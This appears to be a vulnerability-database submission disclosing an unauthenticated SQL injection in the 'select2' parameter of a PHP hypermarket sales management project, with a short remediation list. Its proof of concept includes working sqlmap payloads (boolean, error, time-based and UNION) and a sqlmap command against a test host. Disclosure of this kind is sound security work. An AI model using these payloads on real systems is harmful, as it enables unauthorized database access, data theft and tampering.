Submit #631748: 1000 Projects sales management system for hypermarkets v1.0 SQL Injectioninfo

Title1000 Projects sales management system for hypermarkets v1.0 SQL Injection
Description# Projectworlds sales management system for hypermarkets Project V1.0 /superstore/dist/dordupdate.php SQL injection # NAME OF AFFECTED PRODUCT(S) - sales management system for hypermarkets ## Vendor Homepage -1000projects.org # AFFECTED AND/OR FIXED VERSION(S) ## submitter - l1nk ## Vulnerable File - /superstore/dist/dordupdate.php ## VERSION(S) - V1.0 ## Software Link - https://1000projects.org/sales-management-system-for-hypermarkets-php-mysql-project.html # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/superstore/dist/dordupdate.php' file of the 'sales management system for hypermarkets ' project. The reason for this issue is that attackers inject malicious code from the parameter ' select2‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "sales management system for hypermarkets ",I discovered a critical SQL injection vulnerability in the "/superstore/dist/dordupdate.php" file. This vulnerability stems from insufficient user input validation of the ' select2' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - ' select2' parameter ## Payload: ```makefile --- Parameter: select2 (POST) Type: boolean-based blind Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: select2=' AND EXTRACTVALUE(3867,CASE WHEN (3867=3867) THEN 3867 ELSE 0x3A END)-- pWqV&submitqp=Submit Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: select2=' OR (SELECT 2943 FROM(SELECT COUNT(*),CONCAT(0x717a6b7671,(SELECT (ELT(2943=2943,1))),0x7178766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rpxs&submitqp=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: select2=' AND (SELECT 1266 FROM (SELECT(SLEEP(5)))lSyV)-- ffNH&submitqp=Submit Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: select2=' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6b7671,0x524c784c575062684b4d4a5a53464e4b4c4a7848656b7442414c56504c776e4e6173516145646672,0x7178766271),NULL#&submitqp=Submit --- ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.20.33.16/superstore/dist/dordupdate.php" --data="select2=&submitqp=Submit" --dbs ``` <img width="2166" height="1004" alt="Image" src="https://github.com/user-attachments/assets/2588b84b-3721-431f-b2ea-c8d0b5c67e00" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Source⚠️ https://github.com/lan041221/cvec/issues/7
User
 l1nk (UID 76857)
Submission08/11/2025 06:38 (8 months ago)
Moderation08/13/2025 13:54 (2 days later)
StatusAccepted
VulDB entry319898 [1000 Projects Sales Management System 1.0 dordupdate.php select2 sql injection]
Points20

Might our Artificial Intelligence support you?

Check our Alexa App!